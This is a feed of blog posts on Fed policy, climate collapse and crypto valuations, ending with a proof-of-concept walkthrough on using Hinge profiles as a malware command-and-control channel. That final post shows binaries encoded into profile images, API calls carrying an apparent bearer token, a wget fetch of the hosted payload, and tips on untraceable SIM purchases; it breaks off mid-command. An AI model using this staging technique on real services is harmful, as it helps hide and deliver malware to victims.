# Matt Wiese — Full Content Matt Wiese writes about a wide range of topics from software engineering and data science to philosophy, climate science, ecology, and political economy. # Power Bottom Task Force - URL: https://mattwie.se/power-bottom-task-force - Date: 2026-08-08 - Tags: Kevin Warsh, interest rates, FOMC, Federal Reserve, Fed policy, economics, fiscal dominance, forward guidance, task forces, William White, inflation, FedWatch, Federal Open Market Committee ![Chairman of the Federal Reserve Kevin Warsh](/assets/images/kevin-warsh.jpg) Like a chaser to a shot, let's take a reprieve from catastrophizing to engage in some [FedWatch](https://www.cmegroup.com/markets/interest-rates/cme-fedwatch-tool.html) fun. It's been close to a year since the [last installment](/fed-fiscal-dominance) of my [Interest Rate Observer](https://www.grantspub.com/). There's much to catch up on, the foremost being the state of the polycule. I am pleased to report that we have reached over 100 members. You read that right: I have over one hundred girlfriends (plus a few boyfriends). It's gotten to the point that we're considering incorporating as an [investment company](https://www.law.cornell.edu/wex/investment_company_act) in the great state of Maryland, owing to the beneficial nature of the Maryland General Corporation Law for our purposes.[^1] ## What's Up With Warsh? Kevin Warsh is the 17th Chair of the Federal Reserve. He is also the husband of Jane Lauder, billionaire heiress of [the Lauder family](https://en.wikipedia.org/wiki/Lauder_family), whose patriarch is a [longtime ally](https://therevolvingdoorproject.org/ronald-lauder-trump-billionaires-and-the-admin/) of President Donald Trump; considering we are all peasants living under [technofeudalism](https://www.noemamag.com/overthrowing-our-tech-overlords/), a return to medieval patronage shouldn't be all that surprising. Warsh is notable for both his insistence on foregoing [forward guidance](https://www.federalreserve.gov/faqs/what-is-forward-guidance-how-is-it-used-in-the-federal-reserve-monetary-policy.htm) and the creation of [five task forces](https://www.federalreserve.gov/monetarypolicy/task-forces.htm). The former choice I don't have a problem with - we may as well let the Big Beautiful Bond Market digest the state of the economy and present inflation instead of being hand-held by the Fed. I do have a bone to pick with the latter, however, but it may not be what you'd expect. ## Fiscal Autofellatio Those who know me know that I'm a rabid Sonic the Hedgehog fan, having contributed many thousands of words to the Sonic fandom on [AO3](https://archiveofourown.org/tags/Sonic%20the%20Hedgehog%20-%20All%20Media%20Types/works). Therefore, it wouldn't be out of the ordinary for me to be against the appointment of [Doctor Eggman](https://a16z.com/author/marc-andreessen/)[^2] to the "Productivity and Jobs" task force. My quarrel is in fact with the choice of [William White](https://cdhowe.org/our-people/william-white-1/) for the "Inflation Frameworks" task force. Not only did White previously work for the Bank for International Settlements, which itself should disqualify him as being a sus necromancer, he has served as a career bureaucrat in the deepest crevices of the international financial system. To quote the great cybernetics thinker [Stafford Beer](https://en.wikipedia.org/wiki/Stafford_Beer#POSIWID): > The purpose of a system is what it does. You would be forgiven for thinking White is at odds with both Warsh and the current direction of Fed policy. Noteworthy for [challenging Greenspan](https://www.spiegel.de/international/business/the-man-nobody-wanted-to-hear-global-banking-economist-warned-of-coming-crisis-a-635051.html) in 2003 at Jackson Hole, on the surface White is precisely the person you'd want if the worry is inflation: he's a man concerned with credit. This is especially relevant today with the [circular financing](https://www.barrons.com/articles/nvidia-stock-price-circular-financing-cds-c2b6e832) so common in [the AI capex boom](/there-is-no-bubble). My apprehension isn't that White's place on the task force is a fig leaf for loose monetary policy - I believe, to some degree, the FOMC are sincere in their hand-wringing on inflation. Nor do I think the game plan is to pull the proverbial ladder up after Powell's post-COVID years of juicing the market.[^3] As a [dying empire](/hydrocarbon-death-cult) with a trillion-dollar military that can't even beat a country that's been under sanctions since 1979, the United States' sole card to play in its global war on multipolar capitalism[^4] is financial and economic. That is, barring mutually assured destruction in nuclear armageddon, the declining hegemon can maintain the status quo with its other most powerful weapon: Wall Street. Not only is the dollar the global reserve currency, but the country's privileged place as the spot to park capital gives it untold leverage. ## Stenographers for Capital All mainstream economists are stenographers for capital (and even some of the heterodox ones). That is, they observe an artificially constructed system, study its behaviors, and report facts and frameworks back to the peasantry as if such machinations are the natural order of things. Don't get me wrong, I *love* capitalism, but I'm not so stupid as to think it's anything more than a system that has outlived its usefulness, running purely on inertia. It's akin to observing algal blooms and declaring that, well, cyanobacteria just does that - without taking into account the source of nitrogen necessary to perpetuate such an explosion of growth. Ironically, White and I agree on the state of the system and its general trajectory. However, it's in the remedies (or lack thereof) where we are at odds. Take for example [The Case for Pessimism](/assets/pdf/CaseForPessimism.pdf) (PDF): > Ordinary citizens must accept that, in an "age of scarcity," their only choice is between "half a loaf or no loaf at all." These requirements are difficult and unlikely to be met in practice, implying that one of the other three possibilities will be chosen as offering an easier path going forward. Sadly, each one of these alternative paths is likely to prove much more dangerous than is currently anticipated. Pay no mind to the man behind the curtain little guy, just be happy you've got any bread at all to eat. If you think I'm purposely taking the man's words out of context, what about this excerpt from [this essay on the global polycrisis](/assets/pdf/SleepwalkingTowardsPolycrisis.pdf) (PDF): > Moreover, the costs of climate change mitigation are substantial; the International Energy Authority estimates that meeting electrification targets alone will cost between four and six percent of global GDP each year for the foreseeable future. To make such investments in a world of constrained supply (in part due to actual climate change) will almost inevitably require a reduction in living standards. The man has the audacity to write such bullshit while China nearly [doubled nuclear power capacity](https://www.eia.gov/todayinenergy/detail.php?id=67746) since 2016. Americans are aghast at China's "[Electrostate](https://foreignpolicy.com/2026/03/23/climate-change-world-order-green-transition-fossil-fuel/)" - those mystical Orients and their stupefying political economy invest in productive assets and industrial capacity?! William White is not only a stenographer for capital, he is so blinded by ideology that Helen Keller would pity him. As somebody sympathetic to [degrowth](https://en.wikipedia.org/wiki/Degrowth)[^5] I understand the need to be realistic with people - especially Americans addicted to their "[treats](https://www.urbandictionary.com/define.php?term=Treatler)" - but the idea that this will be enforced equally is laughable. The rich will continue being [the greatest source of emissions](https://www.oxfamamerica.org/press/a-person-from-the-richest-01-produces-more-carbon-pollution-in-a-day-than-someone-in-the-bottom-50-produces-all-year/) so long as the fundamental political economy remains unchanged. It will simply amount to austerity for us proles. Chances are groceries won't be getting any cheaper and [this line will keep going up](https://fred.stlouisfed.org/series/DGS30). [^1]: Thank God I never went to law school but I sure did enjoy taking a couple classes with [Bob](https://www.lawschool.cornell.edu/faculty-research/faculty-directory/robert-hockett/). [^2]: Poking fun at Marc's bald head is an overused quip, and I apologize for stooping so low. Controversial opinion: the man doesn't look bad at all. [Paul Graham](/assets/images/paul-graham.jpg), on the other hand. 🤢 [^3]: I think that will be what happens and that it will benefit the very people who put Warsh in the position of Fed Chair, but I don't think that's the sole (or even primary) objective. [^4]: More on this in future writing. The only way out is through, and so the transition from hegemonic American capitalism to a global multipolar capitalism is necessary for humanity's eventual liberation. [^5]: Degrowth won't happen, at least not by choice. As mentioned in the above footnote: *the only way out is through*. This cannot be overemphasized. However, it isn't an appeal to the dogmatic religion of techno-optimism; rather, it's a pragmatic acceptance that convincing the human species to forego creature comforts for the benefit of some nebulous idea of global civilization and natural harmony is absurd. As somebody who's had to learn this the hard way: *homesteading and back-to-the-land ideology is an escapist fantasy you stupid hippie*. --- # Selling Your Soul - URL: https://mattwie.se/selling-your-soul - Date: 2026-07-22 - Tags: climate change, ecocide, biosphere collapse, America, nihilism, capitalism, Andreas Malm, egoism, Jamie Dimon, selling your soul, Max Stirner, Momodou Taal, Luigi Mangione, Xi Xingping, Mojtaba Khamenei, Ibrahim Traor, Jeffrey Epstein, learned helplessness, J.P. Morgan Chase, American decline ![Faramarz kills the king of demons (jinns), from the Shah Nameh, 10th century Persian epic of the Kings](/assets/images/jinn.jpg) Some years ago somebody I knew chose to sell their soul to Jamie Dimon. As [I've written before](/our-k-shaped-nihilism) such decisions - like degenerate gambling on stock options - are the only rational economic choice at this stage of American decline. If you recognize the trajectory of biosphere collapse, why bother making a difference? Of course, some of us actually believe in something; shocking, I know, but it's an unfortunate fact that must be stated. I don't blame people for willingly sticking their heads in the sand, though, since Americans by and large are nihilists abused to the point of [learned helplessness](https://en.wikipedia.org/wiki/Learned_helplessness). It will be up to the rest of the world to drag them, kicking and screaming, into the future. What I don't understand is what people expect to happen. Sure, working your way from the lower cabins to the top deck of the Titanic is in your material interest, but it doesn't solve the problem of, you know, being on a sinking ship. I suppose it's a symptom of the [Don't Look Up](https://www.imdb.com/title/tt11286314/) philosophy, where we all just sit around and hold hands and accept our fate. However, in the movie the protagonists did all they could to avert disaster, so the audience inevitably feels sympathy for them and admires their commitment to camaraderie and love. But... in our case we - i.e. Americans - didn't even try. We just rolled over and stuck our faces in the trough, devouring the scraps left to us by our masters, thankful for the slop. ## Sublimation of Cognitive Dissonance Take singing lessons, maybe even join the opera. Get really into Dungeons & Dragons. Learn to garden after years of manipulating pixels in Stardew Valley. All of these are hobbies, and in a normal, functioning society they would be healthy habits to cope with the stresses of everyday life and the terrifying mundanities of being a sentient sack of meat. Problem is, we don't live in a healthy, functioning society. We are citizens of a slaughterhouse parading itself around as a country. It's easy to put lipstick on a pig, especially one bound for the meat grinder where its entrails will seamlessly blend with said rouge in the resulting slurry. Alas, we are all [Stirner's unwilling egoists](https://en.wikipedia.org/wiki/Max_Stirner), caught by the allure of the heated blanket, held hostage by its warm embrace. We seek shelter from the cold, scary world and retreat to the familiar territory we have known and hope to always know. Borne back ceaselessly into the past, we, the benefactors of the infernal machine, are unable to accept entropy's message that although time is a flat circle our place on its circumference is impermanent. ## Two Step and Swing All that remains to be done is to pick your song and dance. [Andreas](https://en.wikipedia.org/wiki/Andreas_Malm) has some tunes and [Momodou](https://en.wikipedia.org/wiki/Visa_and_deportation_controversies_in_the_second_Trump_administration#Momodou_Taal) does, too. [Luigi](https://en.wikipedia.org/wiki/Luigi_Mangione) rocking to some others. [Jinping](https://en.wikipedia.org/wiki/Xi_Jinping_Thought) and [Mojtaba](https://en.wikipedia.org/wiki/Mojtaba_Khamenei) and [Ibrahim](https://en.wikipedia.org/wiki/Ibrahim_Traor%C3%A9) up to their own grooves. If it takes two to tango and a choir to carol, then for what is coming we will need all of humanity up off their asses playing musical chairs, because there is one thing I know for certain: the American ballad is played to death, like the jukebox a barfly can't help [but molest](https://en.wikipedia.org/wiki/Jeffrey_Epstein). --- # Hotboxing the Atmosphere - URL: https://mattwie.se/hotboxing-the-atmosphere - Date: 2026-07-15 - Tags: climate change, environment, ecocide, methane, feedback loops, CO2, atmosphere, wildfires, boreal forest, permafrost, biosphere collapse [Here we go again](https://ithacavoice.org/2026/07/tompkins-county-under-air-quality-alert-due-to-wildfire-smoke/). Concomitant with the coming ["Super" El Nino](https://yaleclimateconnections.org/2026/07/this-could-be-the-strongest-el-nino-on-record/) we in the Northeast are met with a thick layer of wildfire smoke drifting south from Canada. 2023's El Nino marked a phase shift in Earth's climate that resulted in the highest total acreage of forest burned in Canada since records began: [![Chart displaying hectares burned in Canada by year, 2023 reached 18.5 million hectares](/assets/images/canada-wildfire-burned-area.png)](https://ciffc.net/statistics) 18.5 million *hectares* is roughly equivalent to 71,400 square miles, or put another way, an area larger than the size of Washington state. So far this wildfire season isn't so bad (where "so bad" means not apocalyptically unprecedented), with [CIFFC](https://ciffc.net/) reporting 1.9 million hectares burnt as of this post. Just a casual Connecticut + Delaware-sized total area. We shall see what this year's final total is in a few months, but it's clear this is our "[new normal](/assets/pdf/TheNewNormal.pdf)" (PDF). The 2023 wildfire season in Canada released [more carbon into the atmosphere than any nation](https://www.nature.com/articles/s41586-024-07878-z) besides the US, China, and India. The feedback loops I alluded to [in my prior post](/hydrocarbon-death-cult) are clearly in full swing. Ever worsening wildfires is itself a feedback loop, but it belies an even darker reality: *the loop is recursive*. Let me explain. Permafrost is (at least historically) permanently frozen soil in the polar regions of the Earth, predominantly in the north, where most landmass just happens to be. As the permafrost melts, the organic matter in the soil is liberated from stasis and begins the process of decomposition. Just like in your home compost bin (you do compost right?) this process naturally releases methane as a by-product. So we are blesssed with a double whammy: the immediate CO2 (and [other pollutants](https://www.epa.gov/wildfire-smoke-course/wildfire-smoke-complex-mixture)) *plus* the future methane release resulting from a lack of boreal flora to insulate the ground. Trees and other plants not only offer direct shade to the soil, their [transpiration](https://en.wikipedia.org/wiki/Transpiration) regulates temperature by releasing water vapor, cooling both the plant and its environs. Sure, these burned areas don't permanently stay barren wastelands; boreal forests *are* adapted to wildfires, but regeneration takes time - on the order of decades - and since climate collapse is accelerating (and thus a moving target) [ecological succession](https://www.nature.com/articles/s41598-023-30732-7) doesn't have the opportunity to take place in the manner in which it historically did. As the acceleration continues and the weight of all past emissions catches up with us, the boreal forest will creep north, likely with [grasslands taking its place](https://science.nasa.gov/earth/earth-observatory/the-migrating-boreal-forest/). Just like [the Finger Lakes](https://mattwie.se/finger-lakes-watershed-computing) moderate temperature and produce a microclimate suitable for vineyards that would otherwise not be possible in Upstate New York, so too do our oceans - but on a planetary scale. [ENSO](https://en.wikipedia.org/wiki/El_Ni%C3%B1o%E2%80%93Southern_Oscillation) changes prefigure this, which is why tracking the stepwise global temperature increases during the El Ninos of the past two decades is a critical climate science insight. During the El Nino phase of the ENSO cycle, Earth's oceans *release* latent heat into the atmosphere (its sister La Nina, as you might expect, *absorbs* thermal energy). [More than 90%](https://www.climate.gov/news-features/understanding-climate/climate-change-ocean-heat-content) of anthropogenic climate change is taken on by the oceans; that is, if it weren't for Moana we'd already be roasting. Some people are obsessed with the stock market and watching the line go up. I, on the other hand, religiously observe this line: [![Graph of Global Sea Surface temperatures from Climate Reanalyzer](/assets/images/sst-2026.png)](https://climatereanalyzer.org/clim/sst_daily/?dm_id=world2) --- # Hydrocarbon Death Cult - URL: https://mattwie.se/hydrocarbon-death-cult - Date: 2026-03-22 - Tags: climate change, oil, hydrocarbons, Iran War, environment, ecocide, Hydrocarbon Death Cult, methane, feedback loops, CO2, logistics, stock market, international relations, diplomacy ![Oil rain in Tehran after American strikes on energy storage](/assets/images/oil-rain.png) It's auspicious that a little over a month ago I began reading Reza Negarestani's book *Cyclonopedia.* A favorable omen for gas prices? Probably not. A favorable omen for the demise of the Hydrocarbon Death Cult? Almost certainly. Global CO2 currently has a concentation in the atmosphere higher than Elon Musk's favorite number. The last time CO2 levels were this high was roughly 3 million years ago during the [mPWP](https://en.wikipedia.org/wiki/Mid-Piacenzian_Warm_Period), a time when sea levels were higher and so too were global average temperatures. If you read that Wikipedia page you will find a link to [this article](https://pmc.ncbi.nlm.nih.gov/articles/PMC10483645/), which has this quote in the first section: > Our simulations, which are constrained by proxy records, suggest highly restricted near‐surface permafrost extent during the mPWP, akin to future large-scale permafrost degradation projections of our model for the end of this century. Our study indicates dramatically smaller-than-present near‐surface permafrost extent in the geological past under climate conditions analogous to those expected if global warming continues unabated. Let me translate the scientific language into Modern American English: *bro we're so cooked*. [Polar amplification](https://en.wikipedia.org/wiki/Polar_amplification) means these latitudes warm faster than everywhere else, which leads the permafrost present in these northerly and southerly locales to thaw and release ever greater amounts of methane, contributing to further warming. Why am I telling you this? First, it's one of my [special interests](https://en.wikipedia.org/wiki/Special_interest_(autism)) so I can't help but infodump in my little corner of cyberspace. Second, we all know that [war is a racket](https://en.wikipedia.org/wiki/War_Is_a_Racket) but it should also be noted - if it somehow isn't obvious - that war is bad for the environment. Full stop. The "death cult" in my not-so-tongue-in-cheek Hydrocarbon Death Cult metonym is not hyperbole nor exaggeration. ## Into the Woodchipper I propose a modification of Carl von Clausewitz's famous quote for our times: > War is the continuation of ecocide by blowing that shit up. Sure, blowing shit up may [poison the soil](https://www.humanrightsresearch.org/post/counting-the-cost-the-environmental-toll-on-ukraine-from-the-russian-invasion#viewer-9qtck953) but nothing need go boom to irreparably harm the environment. For example, you can envelop the countryside in a bunch of [fiber optic cables](https://ceobs.org/plastic-pollution-from-fibre-optic-drones-may-threaten-wildlife-for-years/) while hunting down some ~~orc~~ human being with your FPV drone. Not only does war have a direct, immediate (and lasting) negative impact on the environment, but the infrastructure for war-making as such does too, and I'm not just talking about [burn pits](https://www.publichealth.va.gov/exposures/burnpits/). In a single flight over the Atlantic a [KC-135 Stratotanker](https://www.af.mil/About-Us/Fact-Sheets/Display/Article/1529736/kc-135-stratotanker/) releases the CO2 equivalent of roughly 25 cars driving *for a year*. During just the build-up to the war, you could see with [flight trackers](https://www.flightradar24.com/) dozens of crossings made - merely one component of a vast logistical network. Then there's direct attacks on energy infrastructure. From [oil rain](https://apnews.com/article/iran-war-black-rain-pollution-d5f67db4a772775c83dfa3fd303cf25d) to massive fires [at sea](https://www.bbc.com/news/articles/cr5l988qr47o) and [on land](https://www.aljazeera.com/news/2026/3/18/qatar-says-iran-missile-attack-sparks-fire-causes-damage-at-gas-facility). Ironically, destruction of these facilities might release less CO2 than the labyrinthine supply chain of refining and transport that brings the go-go juice to your local gas station, but the incomplete combustion - because that's what black smoke is - absolutely releases nasties: [black soot](https://www.undrr.org/understanding-disaster-risk/terminology/hips/en0104) and carbon monoxide. Carbon monoxide isn't a greenhouse gas, but it reacts with hydroxyl radicals (OH) and depletes them in the atmosphere. You know what OH is usually breaking down for us in the atmosphere? Methane. God bless industrial society, innovating [feedback loops](https://scied.ucar.edu/learning-zone/earth-system/climate-system/feedback-loops-tipping-points) since 1760. ## But What About Stonks? If you weren't going long oil futures in the months leading up to this you're ngmi. OSINT nerds were able to see this coming, although what eluded most - and admittedly surprised me - has been the scale of the incompetence. We all know the US is a dying empire, and as a result the myth of meritocracy continues to be eroded by the reality of yes-men and know-nothings. However, I still assumed there were cold-blooded [realists](https://en.wikipedia.org/wiki/Realism_(international_relations)) squirreled away deep inside the Pentagon. I mean, surely there are *somewhere* but it appears they're not driving the bus. I don't think anybody is driving the bus. There is a brick on the accelerator pedal and the passengers are too busy doomscrolling to realize the bus driver is actually in some warehouse two states over stealing copper wire. Iran's demands are sound but not something I expect the U.S. to yield to. For example, [giving up all military bases](https://www.middleeasteye.net/live-blog/live-blog-update/iran-outlines-conditions-end-war-demands-complete-us-withdrawal-region) in West Asia (the "Middle East" to Americans) is a non-starter from the perspective of Pentagon and CIA eggheads. I suppose we could continue to attack their energy infrastructure and [blow up schools](https://en.wikipedia.org/wiki/2026_Minab_school_attack) but that won't "win" the war and much like assassinating Khamenei will likely be counterproductive. As a result, unless by some fluke or miracle I expect the Strait to remain closed, leading to an energy crisis. This may be the exogenous event that [pops the bubble](/there-is-no-bubble), but I'm no Michael Burry. How about instead of reading my drivel you log off and thank a tree for fixing carbon and providing you with life-sustaining oxygen? --- # All My Apes Gone - URL: https://mattwie.se/all-my-apes-gone - Date: 2026-02-08 - Tags: CURRENC, $CURR, Animoca Brands, NFT, Slurp Juice, tokenization, Memes, Bitcoin, crypto, stock market, investing, Yat Siu, real world asset, securitization, history, markets I must have jinxed crypto, because since [my tokenization post](/tokenize-deez-nuts) Bitcoin has fallen roughly 24%. Should you keep buying the dip?[^1] I don't care - nothing matters, we are all entropic pinballs bouncing around a [holographic universe](https://en.wikipedia.org/wiki/Holographic_principle), victims of a cataclysmic Demiurge intent on blendering all of our bodies into exotic human cheeses for the interdimensional androids that live in the center of [Saturn's hexagon](https://en.wikipedia.org/wiki/Saturn%27s_hexagon).[^2] Now that I got that out of my system, let's pivot to our topic for today: [Animoca Brands](https://www.animocabrands.com/). Unless you have my particular flavor of brainrot you will have never heard of this company. However, chances are you are at least tangentially aware of some entities it owns a stake in: [Yuga Labs](https://yuga.com/), creators of Bored Ape Yacht Club; [OpenSea](https://opensea.io/), the NFT marketplace; and [Colossal Biosciences](https://colossal.com/), the lunatics trying to bring the woolly mammoth back to life.[^3] Animoca announced last November that it was going public in a reverse merger with [CURRENC Group Inc](https://investors.currencgroup.com/English/overview/default.aspx). After that announcement the stock, trading under the $CURR ticker, went parabolic as speculators and algos rode the wave: ![$CURR 6-month stock chart](/assets/images/curr.png) At the end of market close this Friday it was valued at $110M USD, which according to the proposed [term sheet](https://www.animocabrands.com/announcement/animoca-brands-enters-into-term-sheet-with-nasdaq-listed-currenc-group) puts the resulting entity at roughly a $2.2B USD market cap. Is that a fair valuation? I'm personally skeptical *but* I think it's worth investigating why, if only for an exercise in futility (we are all just entropic pinballs after all). If $MSTR and $BMNR are anything to go by, these pseudo-ETFs ought to be valued somewhere close to [NAV](https://www.investopedia.com/terms/n/nav.asp) - or "MNAV" as is hip to do in this space - so it behooves us to scrutinize their assets, and whether we'd like exposure to them. ## Real World Asset Marketplace The [slide deck (PDF)](/assets/pdf/animoca-2025-agm.pdf) for Animoca's 2025 AGM tells a compelling story of what the company intends to be. I want to talk about a couple choice slides. The full deck is worth perusing over your morning coffee, but ultimately (at least in my opinion) talks a big game but lacks substance. Most interesting to me is the RWA (real world asset) marketplace NUVA: ![Slide detailing the NUVA RWA marketplace](/assets/images/animoca1.png) Unfortunately it doesn't tell us much. Let's go to [NUVA's website](https://nuva.finance/how-it-works) for a slightly better explanation: ![Screenshot of 4 steps for how NUVA tokenization works](/assets/images/nuva1.png) That's a little clearer. You deposit USDC (cash) into their "vault" and receive their token in return. Your shares - the nvAsset token - generate some [APY](https://www.investopedia.com/terms/a/apy.asp), similar to the interest you receive on a deposit at a bank, although in this case much higher (presumably with the concomitant risk). With the power of blockchain, there is some level of transparency into the underlying asset that provides said yield; unlike at a bank, where I'm not privileged to peek into what investments the bank is making with my deposit. Lastly, since it's [ERC-20](https://www.investopedia.com/news/what-erc20-and-what-does-it-mean-ethereum/), you can use the nvAsset token elsewhere on-chain, such as collateral for a loan. This is no different from other securities-backed loans. Currently they only offer a yield-bearing stablecoin, but intend to launch one based on [HELOCs](https://consumer.ftc.gov/node/78380), plus I imagine countless others. I'm salivating just thinking about it - I love the financialization of everything! ## But What About the Assets? Pivoting back to Animoca, let's see a bird's-eye view of the assets on their balance sheet: ![Rudimentary chart showing the composition of Animoca's assets](/assets/images/animoca2.png) Over a third of their $1.6B USD in assets is composed of three shitcoins (sorry, altcoins): [MOCA](https://coinmarketcap.com/currencies/mocaverse/), [SAND](https://coinmarketcap.com/currencies/the-sandbox/), and [EDU](https://coinmarketcap.com/currencies/open-campus/). MOCA, a token for decentralized identity; SAND, a token for a metaverse game that [doesn't have many real players](https://www.binance.com/en/square/post/28959530950537); and EDU, a token for "[a new financial layer for education](https://www.opencampus.xyz/)." That last one sounds like a virtuous goal, but gamifying education ain't it chief. Keep in mind, too, that this was reported in Q3 of 2025 - since then MOCA has fallen roughly 80% and SAND roughly 70%... It's easy to poke fun at Animoca because altcoins are crap, and after doing so, is no longer enlightening. As detailed in the AGM slide deck, they also have an extensive portfolio of investments across the Web3 "value chain" and so if you're bullish on Web3 they're worth a deep dive on. Personally, I'd rather just own Bitcoin[^4] than expose myself to this side of crypto. However, we live in a [K-shaped casino](/our-k-shaped-nihilism) so I wouldn't be surprised if both the stock price and the Web3 ecosystem see a resurgence alongside the growth of tokenization. Yat Siu, the chairman, [would agree I think](https://youtu.be/72BnItf00CE?t=2436): > "we as a business could essentially become an index for investors to participate, basically, in this next growth era" So I may have a dim view of altcoins and the Web3 ecosystem at large *but* I do think tokenization is the future, and I will close out this post with a few words on the topic. ## Tokenization as Securitization Accelerationism [Securitization](https://www.investopedia.com/terms/s/securitization.asp) has been revolutionary for increasing the [velocity of capital](https://en.wikipedia.org/wiki/Velocity_of_money). Assets previously left out of the market are able to be folded into its ever-expanding reach; much like the [enclosure of the commons](https://en.wikipedia.org/wiki/Enclosure) this is one of the major revolutions of capitalism and a shining example of its mammonite nature. Economists and financial professionals would tell you that securitization's benefit is to expand liquidity, lubricate the system of capital allocation, and efficiently manage and price risk. This is of course demonstrably true, but belies a deeper and more fundamental character of the Market; [as above, so below](https://en.wikipedia.org/wiki/As_above,_so_below). The Market is ceaselessly expansionary, always and forever in search of new frontiers to colonize. It is no coincidence that the [Manifest Destiny](https://history.state.gov/milestones/1830-1860/foreword) of America's past so closely mirrors this phenomena.[^5] It should therefore come as no surprise that tokenization is the next logical step in the evolution of the Market, building upon the innovation of securitization that preceded it. Like all new things, tokenization means a great many things to many different people, and also has no comprehensive legal understanding in the same way that securitization does in the American common law system. It can be best summarized as the creation of a digital representation - the token - that maps to some other asset, whatever that may be. This can take the banal form of, say, an NFT where some digital image is "pointed to" by that token on a blockchain. NFTs were rightly mocked because they could be made by anybody and had no legal basis for the ownership of the image itself. Holding a random NFT of the Mona Lisa in your crypto wallet gave you no claim to ownership of the painting. However, just because NFTs are a joke doesn't mean tokenization is without merit (in the evolution of markets sense I articulated earlier). A liberal democracy is more than capable of assimilating such a technology into its legal apparatus and, at least in the case of the United States, I believe it's an inevitability. The question, then, is how to reconcile those securities - because that's what tokens are - with a claim on the underlying asset. Why hold tokenized gold instead of shares in the SPDR Gold Trust if my token doesn't allow me to redeem it for the physical commodity?[^6] This is exemplary of the Hard Problem that tokenization is trying to solve. My shares of $GLD mean I have partial ownership of the Trust and by proxy a claim on its assets - but it *does not* mean I have the right to [redemption](https://www.law.cornell.edu/wex/redeem) of those shares for literal gold bars. [^1]: I'm not because I prefer other risk assets to Bitcoin, but you do you. [^2]: It's been a dreary winter in Upstate New York and the cabin fever has metastasized into full-blown cabin psychosis. [^3]: The Arctic may be [warming faster than anywhere else](https://arctic.noaa.gov/report-card/report-card-2025/tundra-greenness-2025/) but the ecological benefits of mammoth necromancy are dubious at best considering muskox and caribou already exist. Of course, the value of the company is not in the woolly mammoth per se but the CRISPR tech that facilitates such, as [In-Q-Tel wisely understood](https://theintercept.com/2022/09/28/cia-extinction-woolly-mammoth-dna/). [^4]: And you already know what I think about Bitcoin. [^5]: The United States is, after all, history's preeminent capital accumulator. For as long as it exists, the country - and I say this not out of enmity but obeisance - will be a vehicle for the expansion of markets. [^6]: Parallel to this is unlocking [alternative assets](https://www.investopedia.com/terms/a/alternative_investment.asp) to be tradable and used as collateral via tokenization. What if I want fractional ownership of some contiguous parcel of Amazon rainforest under stewardship for [CORSIA](https://www.icao.int/CORSIA) credits? Or a fractional claim to the returns of a peasant cooperative seeking capital for equipment purchases? In this case physical deliverability is less important, and tokenization as a means for expanding markets and enabling liquidity comes to the fore. A means of securitization that may (or may not) be more efficient than our present system. --- # Using Hinge as a Command & Control Server - URL: https://mattwie.se/hinge-command-control-c2 - Date: 2026-01-03 - Tags: hinge, c2, cybersecurity, hacking, infosec, command & control, botnet, proof of concept **Disclaimer:** This doesn't qualify for consideration through Hinge's [Hacker One](https://hackerone.com/hinge) disclosure page since we need to patch the app and MITM it. Although this technique is convoluted, I think a threat actor could make great use of it, which means it's worthy of attention. Besides, making C2s out of random things is free and fun entertainment, as Mauro Eldritch [demonstrates](https://www.youtube.com/watch?v=TWcBySQgfBE). **Repository:** [https://github.com/matthewwiese/hinge-command-control-c2](https://github.com/matthewwiese/hinge-command-control-c2) **Update:** The Hinge account used in this post was banned (unsurprisingly) *but* the images uploaded to their CDN were not removed. Something to consider. ## Account Setup I'm going to assume you have already installed Hinge on an Android device. Our first hurdle is the account creation setup, as a phone number is required. Back in the day you could make a throwaway Google Voice number for stuff like this, but everyone has caught on to that now so I rarely bother. The best approach I've found for research are Mint Mobile 7-day trial SIMs. Chances are the number is already registered to a Hinge account, so you're gonna want to get more than one. They look like this: ![Pile of five SIM card trial packets](/assets/images/mint.jpg) These can be bought on eBay or in-person with cash at places like Target and Best Buy. If you're paranoid about being caught on CCTV at a retail store, then you're probably a criminal. If it makes you feel any better though, most places don't store footage for longer than a month, so plan your escapades in advance. ## The Payload Please see the GitHub repo linked above for all necessary files. To demonstrate this proof of concept, we will be using a vibe-coded Python script that visually encodes a binary into an image. When a user uploads a photo, Hinge transforms it before storing on their CDN. Somebody with [steganography](https://en.wikipedia.org/wiki/Steganography) chops could probably get around that; treat what follows as an appetizer, the entrée is only limited by your imagination. The "payload" in question is just a toy C program that prints "Hello World" - compile it: ``` gcc -s payload.c -o payload ``` Next, we will use our script to encode the image (numpy and PIL are required): ``` python enc.py encode payload payload.png ``` You should get something that looks like this: ![A bunch of colorful pixels on a black background that visually encodes our binary](/assets/images/payload.png) Like I said, you can get as creative with this as you want. Hinge supports uploading videos, so one could probably string many of these images together and reconstitute the frames in order to store larger amounts of data. ## Hinge Photos Are Public I can't take credit for this work - my understanding of Hinge's undocumented API comes from [this GitHub repository](https://github.com/ReedGraff/HingeSDK). Props to Reed for doing the hard work of reverse engineering. Somebody send him a rose! If you know the "secret" user ID associated with a Hinge profile you can pull its data like so (using `/user/v2/public` instead will include your profile's biographical info): ``` curl -H "x-app-version: 9.103.1" \ -H "x-device-platform: android" \ -H "authorization: Bearer 0bsAcaDsY_t-jSK1d8C5J6r-b3c3ui1F0G01EIzW8Pk=" \ -H "x-device-id: ea3b329c4b0eeadd" \ -H "x-install-id: 02d5f0b2-9860-4543-b9d3-8d7af86975ad" \ "https://prod-api.hingeaws.net/content/v2/public?ids=3800512239643919861" ``` The headers above are necessary in order for Hinge not to reject your request with an error. We will be able to retrieve that info, including our fake user's ID, in the next section. If you run that curl command you should get something like this: ``` [ { "userId":"3800512239643919861", "content":{ "photos":[ { "boundingBox":{ "topLeft":{ "x":0, "y":0 }, "bottomRight":{ "x":1, "y":1 } }, "caption":"", "cdnId":"pu6fv3qbtwfwl4m34r2h", "contentId":"7c72a3f7-85b6-430b-9289-fcf3efdd45b6", "location":"", "promptId":"5d8a5e5ed138abfa1fb17ee9", "source":"camera", "sourceId":"pu6fv3qbtwfwl4m34r2h", "pHash":"ec68e560e4a7eaa8", "url":"https://media.hingenexus.com/image/upload/pu6fv3qbtwfwl4m34r2h.jpg", "width":1576, "height":1576, "selfieVerified":false }, "" ], "answers":[ { "contentId":"7b3df417-c879-4943-bba1-277f50a1b15c", "position":2, "questionId":"5b16d9ab636de0035ea7dc6a", "type":"text", "response":"Hack the planet", "transcriptionMetadata":{ } }, "" ] } } ] ``` The response will include all photo and answer data. The "answers" are free-form text fields the app provides to users in order to showcase their personality. You could enter a public key in one of these fields, just as Mauro did in the DEF CON talk I linked to in the disclaimer. Let's see if our image still works: ``` wget https://media.hingenexus.com/image/upload/pu6fv3qbtwfwl4m34r2h.jpg python enc.py decode 